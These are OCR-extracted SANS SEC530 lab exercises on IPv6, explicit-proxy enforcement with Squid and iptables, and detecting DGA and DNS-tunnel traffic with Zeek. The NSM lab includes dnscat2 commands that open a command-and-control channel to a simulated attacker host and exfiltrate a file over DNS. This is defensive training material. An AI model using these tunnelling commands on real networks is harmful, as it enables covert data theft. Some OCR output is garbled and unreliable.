The results will be reversed: no "AAAA" record, and a successful response for the "A" record.

14. Open Chrome (Click on the Chrome icon in the upper panel, towards the left).

Surf to: https://ipv6.sec530.org (this website is ipv6-only). There will be a list of ipv6-only links on this
site. Surf to any of your choosing. Note that Internet sites may be down or be inaccessible, so select
others if any time out or return errors.

15. Finally, let's use telnet to connect to an IPv6 site. Why? Because using a really old protocol via IPv6 is fun!

The first RFC (Request for Comments) for telnet (RFC97) was in 1971!* This was on the old (pre-IP)
ARPANET and MILNET. Telnet (and FTP) were ported to IP around 1979.

Blinkenlights.nl is a famous telnet site that boasts IPv4 and IPv6 connectivity. It plays a famous movie, in
glorious ASCIlI-mation. An Internet myth surrounds the site, claiming IPv6-enabled users receive full-color
ASCII, while IPv4 users receive black-and-white. Sadly, this is not true. As of course publication, the site
reports: "Well, the IPv6 version is exactly the same as the IPv4 one. The difference is in the visitors..."?

Type the following in a terminal and enjoy the show!

$ telnet towel.blinkenlights.nl

To quit telnet: type "<CTRL><] >" (control right-bracket), press "<ENTER>", type "quit", and press
"<ENTER>" again.

[1] https://tools.ietf.org/html/rfc97
[2] telnet://towel.blinkenlights.nl
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Exerczse 2. 41‘ Proxy Power

Objectives

Understand the differences between a transparent and explicit proxy
Emulate malware that is not proxy aware

Protect web resources by forcing access only through an explicit proxy
Detect attempts to bypass an explicit web proxy

Combine an explicit proxy with authentication requirements

Exercise Preparation

Log into the Sec-530 VM
e Username: student
e Password: Security530

Terminal Google Chrome

Before beginning this lab, you will need to start the Squid proxy server and a web server running
CustomWebApp. To do so, run the command below.

$ sudo pwsh /labs/check.psl -check precheck -lab 2.4

Squid proxy listens locally on port 3128. The CustomWebApp runs on an Apache web server at
http://172.17.0.3/index.php. During this lab, CustomWebApp simulates internet access.

During this lab, Squid can be reconfigured by making changes to /labs/2.4/squid.conf and then restarting
Squid with the command below.

$ docker restart squid
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Exercise: No hints

1. Access CustomWebApp at http://172.17.0.3/index.php

2. Access CustomWebApp using Squid as an explicit web proxy

3. Simulate internet only access via an explicit web proxy by only allowing CustomWebApp to be reached
via Squid (use iptables)

4. Log and detect direct access attempts to reach CustomWebApp (using iptables)

5. Change Squid to be an explicit and authenticated web proxy using basic authentication

Bonus - Simulate a piece of malware that is not proxy aware and attempt to access CustomWebApp. Also, try
simulating a piece of malware that is proxy aware but does not have credentials to access CustomWebApp.
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Exercise — Step-by-siep instriuctions

1.

Access CustomWebApp Directly

Before proceeding make sure you have run the commands found in the Exercise Preparation section to
start the Squid web proxy and the CustomWebApp.

The first step is to confirm the CustomWebApp can be accessed directly. This method of access would be
similar to using a transparent web proxy as no configuration changes are necessary.

To access the CustomWebApp open up Google Chrome by clicking on the Chrome icon in the top left
corner.

Next, enter http://172.17.0.3/index.php in the search bar and hit enter.

[l CustomWebApp530 X g )| - +

= C 0O | [ http '1?2.-1?.[].3 dex.phr | O |

You should receive a page stating the web server was connected to by 172.17.0.1 and that a proxy
connection was not detected.

Welcome to CustomWebApp 530

This web server was connected to from the IP address 172.17.0.1

Proxy connection not detected.

Note: The custom web application is running PHP code to detect a proxy by looking for an X-Forwarded-
For header. This method does not always work as a proxy can make a connection without adding
headers. However, it is helpful for the purposes of this lab.

Access CustomWebApp with explicit proxy

The next step is to access the CustomWebApp using Squid as an explicit proxy. To do this, left click on the
Omega Proxy extension next to the search bar and then click on proxy.
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/ [ CustomWebApp 530 *

-(_ € 0 0 hip i ahe e o =/ :

:=° Apps For quick access, place your bookmarks here on the bookmarks bar. Import bookmarks now...

[Direct]

Welcome to CustomWebApp 530
9 / proxy

This web server was connected to from the IP address 172.17.0.1 auto switch

This time the connection should show up from 172.17.0.2 which is the Squid proxy on behalf of
172.17.0.1 which is your student VM.

Welcome to CustomWebApp 530
This web server was connected to from the IP address 172.17.0.2
The client being forwarded by the proxy has an IP address of 172.17.0.1

Connection forwarded courtesy of 1.1 65caf16bcbed (squid/3.3.8) ﬁ

Note: An explicit web proxy requires making changes to software or the operating system so that web
traffic is sent to the web proxy rather than directly to the requested web application.

3. Simulate proxy only internet

Forcing internet traffic to go through an explicit web proxy increases security by denying internet access
to misconfigured or unauthorized applications or systems that are not aware an explicit web proxy is
required. To simulate this, you will deny access to CustomWebApp unless it goes through the Squid
proxy. First, confirm direct access still works by switching to your terminal and running the command
below.

$ curl http://172.17.0.3/index.php --connect-timeout 5

The results should be as below reflecting that direct access to CustomWebApp is allowed. Thus, traffic is
allowed directly as well as through the Squid proxy.

<html><head><title>CustomWebApp 530</title></head>
<hl>Welcome to CustomWebApp 530</hl><br />

This web server was connected to from the IP address

<strong>172.17.0.1</strong><br /><br />Proxy connection not
detected.<html>
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To block direct access tc CustemWebApp from your student VM run the command below. Enter the
Security530 password if prompted.

$ sudo iptables -A OUTPUT -d 172.17.0.3 -j DROP

Note: A breakdown of this command is as follows:

-A stands for append rule.

OUTPUT reflects the rule chain the rule is for.

-d stands for destination IP and

-j tells the rule to jump (or send) traffic to a new rule chain.
The DROP rule chain drops the packets in question.

Confirm direct access to CustomWebApp is no longer allowed by running the curl command again.

$ curl http://172.17.0.3/index.php --connect-timeout 5

The curl command will appear to hang for about 5 seconds, and then an error similar to below will
display.

curl: (28) Connection timed out after 5001 milliseconds

At this point, direct access to CustomWebApp is not allowed.

Note: At this point, the curl command is simulating a non-proxy aware connection not being allowed. This
failed connection represents malware that is not proxy aware. If outbound access to the internet requires
going through an explicit web proxy, then malware that is not proxy aware will not be able to phone

home or download/upload anything.

Switch back to Google Chrome. Click on the refresh icon to confirm that CustomWebApp can still be
accessed via the explicit Squid web proxy.

[ CustomWebApp330  x
< & G | ® 172.17.0.3

Apps  For quick access, place your bookmarks here on ff

Just like the previous step the page should load and show the connection was allowed and came from
172.17.0.2.
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Welcome to CustomWebApp 530
»

This web server was connected to from the IP address 172.17.0.2
The client being forwarded by the proxy has an IP address of 172.17.0.1

Connection forwarded courtesy of 1.1 65caf16bcbed (squid/3.3.8) ‘-.

4. Detect direct internet access

Preventing direct internet access by requiring connections to go through an explicit proxy is a partial
success. With prevention, things like malware may fail to reach the internet. However, detection and
response are also important. To be able to detect direct internet access a firewall should both block and
log direct internet access attempts. Simulate this on your student VM by updating iptables to log failed
direct access attempts to CustomWebApp.

Do so by first removing the previous iptables rule with the command below.

$ sudo iptables -D OUTPUT -d 172.17.0.3 -j DROP

Note: This command is the same as previous with the exception that it uses -D instead of -A. -D means
delete.

Next, create a new rule chain called LOGGING the creates a log and then drops the traffic by entering the
commands below.

S sudo iptables -N LOGGING

$ sudo iptables -A LOGGING -m limit --limit 2/min -j LOG --log-
prefix "NoProxy: "

$ sudo iptables -A LOGGING -j DROP

Note: -N LOGGING creates a new rule chain called LOGGING. The next rule appends a rule to the new
chain that will log up to 2 requests per minute per source IP. Limiting how many requests are logged can
help prevent a denial of service or excessive logging.

Now, recreate the previous block rule but instead of sending traffic directly to DROP send it to the
LOGGING rule chain which will log and then drop traffic.

$ sudo iptables -A OUTPUT -d 172.17.0.3 -j LOGGING
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Run the curl command to attempt direct access to CustomWebApp again using the command below.

$ curl http://172.17.0.3/index.php --connect-timeout 5

After the command times out check to see if /var/log/syslog contains the logs for the failed access
attempt using the command below.

$ grep NoProxy /var/log/syslog

You should see multiple log messages similar to the following:

Mar 9 00:20:51 Security530 kernel: [20075.177586] NoProxy: IN=
OUT=docker0 SRC=172.17.0.1 DST=172.17.0.3 LEN=60 TOS=0x00 PREC=0x00
TTL=64 ID=52998 DF PROTO=TCP SPT=55572 DPT=80 WINDOW=29200 RES=0x00 SYN
URGP=0

Mar 9 00:20:52 Security530 kernel: [20076.306900] NoProxy: IN=
OUT=docker(0 SRC=172.17.0.1 DST=172.17.0.3 LEN=60 TOS=0x00 PREC=0x00
TTL=64 ID=52999 DF PROTO=TCP SPT=55572 DPT=80 WINDOW=29200 RES=0x00 SYN
URGP=0

At this point, direct access is prevented and is also detectable using logs.

Note: This concept works identically on network-based firewalls. Block direct access to the internet but
make sure the block rule has logging enabled.

5. Use an authenticated explicit proxy

To add another level of security to a proxy consider requiring authentication in order to use the proxy.
This step demonstrates doing this with basic authentication.

First, create a basic authentication file that contains the user student with a password of Security530 in
/labs/2.4/student/auth using the command below.

$ htpasswd -c /labs/2.4/student/auth student

Note: /labs/2.4/student/auth is linked to /etc/squid3/basicauth inside the Squid Docker container.

When prompted for the password, enter Security530.

[~1$[htpasswd -c /labs/2.4/student/auth student
New password:

Re-type new password:

Adding password for user student
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Next, use Visual Studio Cede Editor to edit /labs/2.4/squid.conf.

S code /labs/2.4/squid.conf

Add the following lines to the top of the configuration.
auth_param basic program /usr/lib/squid3/basic_ncsa_auth /etc/squid3/basicauth
acl lan proxy_auth required

http_access allow lan

The configuration file should look as follows:

¥ squid.conf e

auth param basic program /usr/lib/squid3/basic ncsa auth /etc/squid3/basicauth
acl lan proxy auth required

http access allow lan

# WELCOME TO SQUID 3.3.8

[ I = T R N B

Click on File -> Save.

b 8

File it Selection View Go Debug Tasks Help
New Ctri+N

MNew Window o Ctri+Shift+N
basic program /ug

Open File... Ctri+C
Open Folder... [Ctrl+K Ctrl+0]

oxy auth required
allow lan

Open Workspace... >

Open Recent »£ TO SQUID 3.3.8

AddFolder to Workspace.. | o

Save Workspace As... 9
ocumentatig

cumentation can 4

ne S uwnnd soiid-rcar

Close out of Visual Studio Code by clicking on the X in the top right corner of the application.

- + X
@ m LR
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Next, restart the Squid proxy server using the command below to make Squid Icad the updated
configuration settings.

$ docker restart squid

Note: Please wait about five to ten seconds before proceeding as Squid needs a moment to restart.

Switch back to Google Chrome. Click on the refresh icon.

[ CustomWebAp, x
e CQF |{D'IT-"2.'I?.U.3 dex

==° Apps For quick access, place your bookmarks here on tf

This time you should receive a popup stating Authentication required. Enter the username of student
and password of Security530 and then click on Log in.

Authentication required

The proxy http://127.0.0.1:3128 requires a username and
password.

Username |student ‘

Password |seereeessns « 9
e| W

Note: Authentication is only required once. After successfully authenticating to Squid you may reload the
page or access other sites without having to reauthenticate to the web proxy.

After logging in the page will load. Authentication is successfully implemented. At this point, malware
would have to be proxy aware and have credentials to reach out to the internet. To simulate proxy aware
malware without credentials, you may try the command below.

$ curl http://172.17.0.3/index.php --proxy http://127.0.0.1:3128

The curl command will fail as Squid requires authentication. On top of this, the failed attempt to use the
proxy is logged to /labs/2.4/student/squid_logs/access.log. You can view the failed attempt in the log
with the command below.
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$ sudo tail /labs/2.4/student/squid logs/access.log

Stop the CustomWebApp and the Squid web proxy using the commands below.

$ docker stop squid
S docker stop webserver

Switch back to Google Chrome and disable proxy access by left clicking on the Omega Proxy extension
next to the search bar and then clicking on System Proxy.

/ [ CustomWebApp530  x (2] = +
< C O | O http://172.17.0.3/index.php o ﬁ( (o

® Apps For quick access, place your bookmarks here on the bookmarks bar. Import bookmarks now...

( [Direct]
Welcome to CustomWebApp 530
proxy
This web server was connected to from the IP address 172.17.0.1 auto switch

Lab Conclusion

In this lab, you have used the open source Squid web proxy to simulate internet control via a web proxy.
This included:

Simulating direct internet access as well as access via an explicit web proxy

Blocking direct internet access with a firewall

Detecting unauthorized or misconfigured access by logging direct web access attempts that do not
go through an authorized explicit web proxy

Further secured an explicit web proxy by requiring authentication

Simulating malware that is not proxy aware or does not have valid credentials

Lab 2.4 is now complete!
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cting for NSM

Exercise 3.1 — Archite

Objectives

e Learn how to instrument a network for NSM and how where we capture data matters to obtain
network visibility

e Learn how to use the power of NSM and metadata to detect Command and Control using DGAs and
DNS exfiltration attempts

e Understand docker networking and how to sniff traffic between containers

e Learn how the powerful Zeek scripting engine can be leveraged to uncover advanced threats

Exercise Preparation

Log into the Sec-530 VM
e Username: student
e Password: Security530

Terminal Google Chrome

To complete part 2 of this lab, we will make use of the virtual containers used in Exercise 1.1 To start those
virtual containers, run the command below.

$ sudo pwsh /labs/check.psl -check precheck -lab egress

In Exercise 1.1 we learned how even a network instrumented with firewalls, IDS, IPS and a well architected
DNS service, is often insufficient to stop a motivated attacker using a DNS tunnel to exfiltrate data. To
illustrate that, we used the well-known open source tool, dnscat.

Since dnscat is able to abuse the recursive nature of DNS, all traffic will be proxied through the organization's
DNS server.

In this lab, we will look at how Network Security Monitoring (NSM) and more specifically Zeek, can provide us
with DNS behavior analytics to assist us in detecting common attacker techniques used in Command and
Control (C2) and exfiltration attempts, including DNS tunneling and Domain Generation Algorithms (DGA). We
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will also learn how where we place cur traffic analyzers and the vantage point of our sensors matter, and the
different ways in which we could architect our network.
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Exercise: No hints

1) Analyze samplel.pcap with Zeek (notice the command line is still named Bro)
a) Canyou spot any anomalies in this traffic?
b) What is the source of this anomalous traffic?
c¢) How could you obtain better visibility in this case?
2) Repeat the steps on Exercise 1.1 to exfiltrate data from the Student VM over port 53 using DNS only
packets. Use dnscat as we did on Day 1.
a) Obtain a full packet capture of this traffic using Wireshark or tcpdump
b) What interface did you use to capture this traffic?
3) Use Zeek (Bro) to detect abnormal DNS requests.

BONUS: Leveraging metadata and Zeek scripting engine to uncover advanced threats
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Exercise: With hints

4) Analyze samplel.pcap with Zeek (notice the command line is still named Bro)
a) Canyou spot any anomalies in this traffic?
HINT - Review the HTTP and DNS traffic
b) What is the source of this anomalous traffic?
HINT - Think about how the network architecture, and more specifically the DNS architecture, matters
c¢) How could you obtain better visibility in this case?
5) Repeat the steps on Exercise 1.1 to exfiltrate data from the Student VM over port 53 using DNS only
packets. Use dnscat as we did on Day 1.
a) Obtain a full packet capture of this traffic using Wireshark or tcpdump
HINT - Inspect the container configuration to see what's the network interface we need to use
b) What interface did you use to capture this traffic?
6) Use Zeek (Bro) to detect abnormal DNS requests.

BONUS: Leveraging metadata and Zeek scripting engine to uncover advanced threats
HINT - Use the script dns-anomaly.bro under /labs/3.1/
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Exercise — Step-by-step instriuctions

1. Analyze samplel.pcap with Zeek

For this step, you will be processing the contents of the file samplel.pcap. This file is located under the
directory /labs/3.1

First, open a terminal and change to the directory /labs/3.1

S cd /labs/3.1

$ bro -r samplel.pcap -C

This command instructs Zeek to read the contents of the file samplel.pcap. By using the —C option, Zeek
will ignore bad checksums.

When the command is completed, Bro will generate a number of logs in the current working directory.
These logs are highly structured, plain text ASCIl and therefore Unix friendly, meaning that you can use
your command line kung-fu with awk, grep, sort, uniq, head, tail and all the other usual suspects.

Can you spot any anomalies in this traffic?

To see the summary of connections for samplel.pcap we can have a quick look at conn.log:

$ cat conn.log

Notice how the output of Zeek logs is structured in columns, each of them representing different fields.
These fields are shown in the 7th line of the output header, starting with "ts" (timestamp in seconds
since epoch) and "uid" (a unique identifier of the connection that is used to correlate information across
Bro logs). Refer to The Zeek documentation to learn more about the rest of the fields.
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#separator \x09
#set separator ,

fempty field

#unset field -

#path
#open

#fields

proto

conn

2019-03-02-18-53-53

ts uid
service

conn_state

history

tunnel parents

(empty)

id.orig h id.orig p id.resp h id.resp p
duration
local orig

ftypes time string
interval count
string count

set[string]

orig bytes
local resp
orig pkts orig ip bytes

resp bytes
missed bytes
resp pkts resp ip bytes

addr port addr port enum string

count
count

string bool bool count

count

count

We can observe a number of connections to port 80 (tcp) and port 53 (udp). Conn.log also reports the
result of these connections under the field conn_state. Let’s have a closer look at that using bro-
cut an awk-based field extractor for Zeeklogs.

state

$ cat conn.log | bro-cut id.orig h id.orig p id.resp h id.resp p
proto conn

172

172.
172.
172.
172.
172.
172.
172.

172
172

172.
172.
172.
172.
172.
172.

172
172

172.
172.
172.
172.
172.
172.

SEC530 - SANS ©2019

.16.
16.
16.
l6.
16.
16.
16.
16.
.16.
.16.
16.
l6.
16.
16.
l6.
16.
.16.
.16.
16.
16.
16.
16.
l6.
16.

88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.

10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10

49508
49510
57852
49509
57399
49510
57456
49511
62602
54957
49511
49512
64623
53702
49512
49513
52164
49513
49516
54832
49516
49517
64102
51110

172

172.
172.
172.
172.
172.
172.
172.

172
172

172.
172.
172.
172.
172.
172.

172
172

172.
172.
172.
172.
172.
172.

.16.
16.
16.
l6.
16.
16.
16.
16.
.16.
.16.
16.
l6.
16.
16.
l6.
16.
.16.
.16.
16.
16.
16.
16.
l6.
16.

88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.
88.

135
135
135
135
135
135
135
135
135
135
135
135
135
135
135
135
135
135
135
135
135
135
135
135

80
80
53
80
53
80
53
80
53
53
80
80
53
53
80
80
53
80
80
53
80
80
53
53

tcp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
udp
tcp
tcp
udp
udp
tcp
tcp
udp
tcp
tcp
udp
tcp
tcp
udp
udp

REJ
REJ
SFE
REJ
SFE
REJ
SFE
SO
SFE
SFE
SH
SO
SFE
SFE
SH
SO
SFE
SH
SO
SFE
SH
SO
SFE
SFE

Exercise — Architecting for NSM

Exercise-3.1-6

Licensed To: Martin Brown <hermespaul56@gmail_com> May 17, 2020




172.16.88.10 49517 172.16.88.135 80 tcp SH
172.16.88.10 49518 172.16.88.135 80 tcp SO
172.16.88.10 55957 172.16.88.135 53 udp SF
172.16.88.10 49519 172.16.88.135 80 tcp SO
172.16.88.10 58988 172.16.88.135 53 udp SF
172.16.88.10 49518 172.16.88.135 80 tcp SH

In the command copied above, we redirect the standard output of the cat command to the standard
input of bro_cut, a utility that's part of the Zeek command line system, to extract specific columns from
the ASCII based logs produced by Zeek.

The columns selected are:

id.orig_h - source IP address
id.orig_p - source port

id.resp_h - destination IP address
id.resp_p - destionario port

proto - protocol

conn_state - state of the connection

O O O O O O

In this case, we can observe that some of the connections attempted on port 80 were rejected (REJ),
while others never had a reply (SO) or left the connection half-open (SH, which means an SYN-ACK from
the responder was never seen). The reason for this behavior is that samplel.pcap was obtained from
one of my sandboxes where 172.16.88.135 is a Virtual Machine

running Remnux with fakedns and netcat listening on port 80 instead of a full web server.

Since we know that there is some http traffic going on here, let’s have a look at another log generated by
Bro, http.log:

$ cat http.log | bro-cut id.orig h id.orig p id.resp h id.resp p
host uri referrer

172.16.88.10 49493 172.16.88.135 80
f52pwerp32iweqab7k371lwp22erl148g63m39n60ou.net / -
172.16.88.10 49495 172.16.88.135 80
h54jtbgmuj56hwb48e41p42g33h34c29grbgfxm29.ru / -
172.16.88.10 49511 172.16.88.135 80
igcgmrn30iuoubuollcrfydvkylrbtmtev.info / -
172.16.88.10 49512 172.16.88.135 80
ezdsagbulsgzh44m59p42egmrkxa57n40brcg.com / -
172.16.88.10 49513 172.16.88.135 80
o4llwmgngarmxiyi35iyftpzaye2losjyjqg.ru / -
172.16.88.10 49516 172.16.88.135 80
n30arh24frisbslgmgoxgvpvk47ollpritev.biz / -
172.16.88.10 49517 172.16.88.135 80
jsab57n20hyisjxcrellfwl58gta37i65ovil32051.info / -
172.16.88.10 49518 172.16.88.135 80
j361xf52hsj56itc49lgayoveymwfzosil5jw.org / -
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172.16.88.10 49519 172.16.88.135 80
g531lvo6layoucrmd49kzgvm69irhwl58erjwfu.net / -

Anything weird here? Definitely! The host field of the http.log shows entries that don’t seem to
correspond with normal browsing.

A closer look at the dns.log produced by Zeek will confirm this:

$ cat dns.log | bro-cut query | sort -u

a37fwf32kl7gsgylgb58oylzgvlsi35b58ml9bt.com
ad7d20aydlOnvkshgn501lrltggcxb68n20gup62.com
a47dxn60cb59%pziulsozaxmb9dgj26dynvfsnw.com
ab/gwktaykulxczeuegfb2mvcueblelljrc59.com
axgqgql4d8mgl28h34k67fvnylwobSlcsetjlogzex. ru
aypb52mé49msmwmthxoslwpxg43evg63esmreq.info
azg63j36dyhro6lp32brgyo21k37fghl4d10k37fx.com
cvlslworouardudtcxato5lhscupunuab77.org
cyh44jud50g33iuvarlzggbup22fgisixf62kr.org
dl10h34othyp62bl8lyfwnzazj26p42fud50gzc4d49.biz
d20iweblftitg531v118a27hvlgjyjtd20guebl.com
dghzhtbto21lhl4lvpl2ightlrnxasarcte6l.biz
drp42i25atibbm69pvgzab7/nyh34hwk57i55m19n60. ru
igecgmrn30iuoubuollcrfydvkylrbtmtev.info
igollc69mud20krkb7jlefgnrfwgvab’/oragql48.com
isjgn30a27hwggbxnxksi6bhrnsgycd49mylt.biz
iupghxfwpylxm29jsexovjlecgfybwb68aw.org
iwpslvesj26i65oynxhtoyc3904lasdvngc59.com
7361xf52hsjb6itcd491lgayoveymwfzosil5jw.org
Jshvprc29ntm69p52336al7m390zk67g53crfgow.net
Jjvbtore2l1fzm39fseblp32auizl28gxaul68px.com
k17g63158jucvd30brhyovhsptdl01xd60ggfv.biz
k270ri6bcveblkvcd9hxptdrb48myo6lfueves.org
kdT7isgzkxp6205letmwazewmvpvgwbvmviz.com
kgd601lvlsg63bsg33ellibbkvodlnrj36hzbthr.info
kvm4 9mynrd601481lynre2lhgfun20ad4’7hyn20kg.org
kyogqpxgb3nufd42g430g021148al17d40031k67716h44.0rg
118kl 7mzpum69jvliyp62c29hzeyi2bktad’7a37lv.ru
n50owhwgujb66evkug33ewntnlOnd40puhtlxay.org
nrd30j46cxnwmyc69bscrcyiuhvf220tgd43mg. com
nub58p52b38ismtg63mwlwm29evd20gl3f520tb68.info
nxhyosg43ad4/exhuml9g23f52fro2lbyaykb7fs.info
021lmwm29gzouhvpub68g43dzntgzn30aultd30.net
031j16n30eyigl58btmxe2leuowb38pxf22b68ou.net
psgsgumukxbl8b58dxd40e31f22g53a37bzmxcz.com
pxoxgzkgmgpl2ad/azjzpzellhteri35itid5.info
pyn30h64krm69bwfl2azp52fulskvh24mlO9nrijy.org
(output truncated)
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Note: The command sort -u sorts the cutput line by line, eliminating duplicates, in this case from the
output of the query column in dns.log

Looking at the length of the domains requested we could observe a pattern. First of all, we will cut out
the TLDs (com, info, net...) and then calculate the length of each of the strings.

S cat dns.log | bro-cut query | sort -u | cut -d . -fl > domains-
withoutTLD

This command parses dns.log, selects the column query, sorting it line by line and eliminating duplicates,
to finally use the command line cut to select the string of characters behind the '." - This is effectively
removing the Top Level Domain (TLD) off the DNS queries.

The result of this command is saved in the file domains-withoutTLD. Now let's calculate the length of
each of the strings using awk:

S for 1 in ‘cat domains-withoutTLD ' ; do echo "S${#i}"; done | sort —u

This for loop iterates over the file domains-withoutTLD, reading line by line, echoing the length of each
line, and showing the sorted results in the standard output.

34
35
36
37
38
39
4

40
41
42
43
6

So, all these strings are within a close range of 34 to 43 characters long. Casualty? Not really, a variant of
the ZeuS botnet, the so-called ZeuS Gameover, was known for implementing P2P and Domain
Generation Algorithm (DGA) communications to determine the current Command and Control (C&C)
domain. When these bots were not able to communicate with its botnet via P2P, DGA was used. The
domain names generated by this version of ZeuS Gameover consisted of a string with a length of 32 to 48
chars and one of the following TLDs: ru, com, biz, net or org. The list for this malware sample contained
over 1000 domains and changed every 7 days, based on the current date.

What is the source of this anomalous traffic?

This is an important question to answer, and a tricky one.
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Let's look at the DNS traffic that we observed above, and this time let's add the celumn that indicates the
source of this traffic:

$ cat dns.log | bro-cut query id.orig h

Can you determine what IP address is generating all this traffic? Let's make it easier to analyze and at the
same time learn a new command line trick with awk.

$ cat dns.log | bro-cut query id.orig h | awk {"print $2"}

This command above will only display the second column of the output of Zeek. If we want to eliminate
all duplicates, we need to add sort -u.

$ cat dns.log | bro-cut query id.orig h | awk {"print $2"} | sort -u

172.16.88.10

It seems clear that 172.16.88.10 is the system that has been compromised. In fact, samplel.pcap was
obtained from a sandbox infected with that piece of malware, configured with that IP address.

However, you should not assume that the IP address providing the DNS resolution is always the victim.

Consider one of the most common scenarios for NSM sensor deployment:

DMZ

Internal Servers Corporate LAN

In this network depicted above, the internal DNS server is an Active Directory Domain Controller that has
the role of a DNS Server. The IP address of this DNS Server is 172.16.88.10. To add visibility to our
network, an NSM sensor is receiving traffic from a tap on the internal side of the perimeter firewall,
looking at all the outbound traffic generated on our network.

DNS Server
172.16.88.10
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From the vantage point cf this sensor, all DNS traffic comes from 172.16.88.10. However, this doesn't
mean that the DNS server is infected! The DNS Server is just doing its job, relaying or proxying all traffic
from the internal network, forwarding DNS requests on behalf of the workstations.

How do we know what workstation is infected?

We will need visibility of the internal network. To do that, we can add a sensor in the corporate LAN
zone with network traffic being received from a port mirror.

DMZ
Internal Servers Corporate LAN

DNS Server

172.16.88.10 || == == == w-— - |
|
I |

— || I :
HHHHHH I ! I

[pore moee |
| i
|

2. Repeat the steps on Exercise 1.1 to exfiltrate data from the Student VM over port 53 using DNS only
packets

These steps assume that you have started the virtual containers used for this lab, by running the
Powershell command indicated above on the exercise preparation section. We also assume that you
have completed Exercise 1.1 and that the file sensitive_data.csv is already on Student VM. If this file is
not on your VM, you can copy it from the PCl file server using this command:

$ smbclient //172.17.0.2/pci -c "get sensitive data.csv" -N

For this lab, we will only make use of these systems:

Student VM - The 530 VM that you logged into will act as a client desktop for this lab
External Attacker Box (5.30.5.1) - This is simulating an external system under an attacker's control.
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External Attacker Box
5.30.5.1
(Ports 53, 80, 443,
2222, and 10000)

PCI File Server
> Contains
sensitive data.csv
StudenthI\{[ Listening on ports 139, 445
Infected Desktop

To gain a terminal to the External Attacker Box, open another terminal.

And connect to the External Attacker Box with the command below:

S docker exec -it externalattackerbox /bin/bash

To start dnscat on the attacker box run the following commands:

root@externalattackerbox:/# rm -f sensitive data.csv
root@externalattackerbox:/# ruby
/home/exfil/dnscat2/server/dnscat2.rb

You should see the terminal change to dnscat2 such as below.

dnscat2>

Next, switch to your student VM terminal and run the command below.
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$ /labs/egress/dnscat2/client/dnscat --dns=server=5.30.5.1,port=53

Ignore any errors. While still inside the attacker terminal, enter the command below to interact with
your student VM from the External Attacker Box.

dnscat?2> window -i 1

Your command prompt will then change to below.

command (Security530) 1>
At this point, we have a command and control channel established between the Student VM and the
attacker. Before we attempt the exfiltration, let's setup a network capture to collect all packets. Before

that, though, we need to determine the best location to tap into this traffic, so we can have full visibility.

Obtain a full packet capture of this traffic using Wireshark or tcpdump

To do this first open Wireshark by clicking on the Wireshark icon in the top left corner of
your student VM.

When Wireshark loads, a number of interfaces will be available. The first one will be highlighted by
default.
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Capture

..using this filter: | | | Enter a capture filter ...

docker0
br-0837f2e784cf —
vetha0O3b174 —
vethc38a323

any =
Loopback: lo
br-3350689a7ced
br-ed2c17571aca

br-175¢3966a20f
hliietanthn

What interface do we need to select? Remember this traffic is exchanged between two systems, your
Student VM and the docker container that simulates the attacker's system. Since we are using docker,
let's select the docker0 interface. Double click on docker0 and Wireshark will start capturing packets on
that interface.

Capture

...using this filter: | W | Enter a:capture filter ...

ethO =
br-0837f2e784cf -
vetha03b174 -
vethc38a323 -
any —
Loopback: lo

br-3350689a7ced
br-ed2c17571aca

br-175¢3966a20f
hliietanthn

Learn

SEC530 - SANS ©2019 Exercise — Architecting for NSM Exercise-3.1-14

Licensed To: Martin Brown <hermespaul56@gmail_com> May 17, 2020



Can you see any command and control traffic?

Probably not. In fact, you may see a few packets only, if any. Why is that? DockerO is a virtual bridge that
docker attaches to all containers, providing a path for packets to travel between them. Since this traffic
goes from the Student VM, the host, to the external attacker container, it doesn't go through the
dockerO interface.

Instead of trying to blindly guess what interface is the one we need to select to capture this DNS traffic,
let's have a look at the configuration of the external attacker container, and see if this gives us a clue.

First, open a third terminal.

To inspect the network configuration of the externalattackerbox container, run the below command
from the third terminal:

$ docker container inspect externalattackerbox

The end of the file contains the information we're looking for:

"MacAddress": "",
"Networks": {
"wan": {
"IPAMConfig": null,
"Links": null,
"Aliases": [
"4fdbeacTbd4al"
1y
"NetworkID":
"0837f2e784cf563b096a9de7b79650fdd9b0595b0f94d8bba3f79c518f94ac5f",
"EndpointID":
"b32cacabb6ebc0c1938306b85¢cf81062c07a5b9d33fef9903905d642f£f7955¢c06",
"Gateway": "5.30.5.1",
"IPAddress": "5.30.5.2",
"IPPrefixLen": 24,

"IPveGateway": "",
"GlobalIPv6Address": "",
"GlobalIPvoPrefixLen": O,
"MacAddress": "02:42:05:1e:05:02",

"DriverOpts": null
As we can see, this container has two IP addresses bridged, 5.30.5.1 and 5.30.5.2. The rest of the

configuration shows what services are listening on what interfaces.
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For the purposes of this Iab, we need to find which one of these IP addresses are bridged on our host. A
simple ipconfig will give us this information:

$ ifconfig -a | grep 5.30.5 -A 3 -B 3

This command will list all the available interfaces on the host, will filter the output to match the string
"5.30.5", and show 3 lines Before and After the line matched.

br-0837£f2e784cf Link encap:Ethernet HWaddr 02:42:21:71:16:02
inet addr:5.30.5.1 Bcast:5.30.5.255 Mask:255.255.255.0
inet6 addr: feB80::42:21ff:fe71:1602/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:13932 errors:0 dropped:0 overruns:0 frame:0

The bridge interface we're looking for is br-0837f2e784cf, and it has the IP 5.30.5.1 assigned to it. Notice
that the interface could be named differently on your system.

Now that we found the interface where we need to setup our network sensor let's go back to Wireshark
and select it. Close any previous capture by clicking on the stop button:

v

File Edit View Go Capture Analyze

Hm a2 & X G

1. ! ' M

No Time Source
1 0.000000000 172.17.6.1
’ 2 1.001909581 172.17.0.1
3 2.003569687 172.17.0.1
1 3.004492926 172.17.0.1

And click on the capture options button to go back to the home screen:
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v

File Edit View Go Capture Analyze
p— S ]
Ao mp @[] (X)

No. Time Source
1 0.600060000 172.17.
+ 2 1.001909581 172.1

0.1
7.0.1
3 2.003569687 172.17.0.1
4 3.004492926 172.17.0.1

Back on the home screen, select the interface br-0837f2e784cf or the one we found on the previous

step:
Welcome to Wireshark
Open
/home/student/Desktop/pcaps/1.pcap (7107 Bytes)
v Wireshark - Capture Interfaces + X
Input = Output Options
Interface Traffic Link-layer Header Promisci Snaplen (B) Bu
» eth0 A Ethernet v default 2
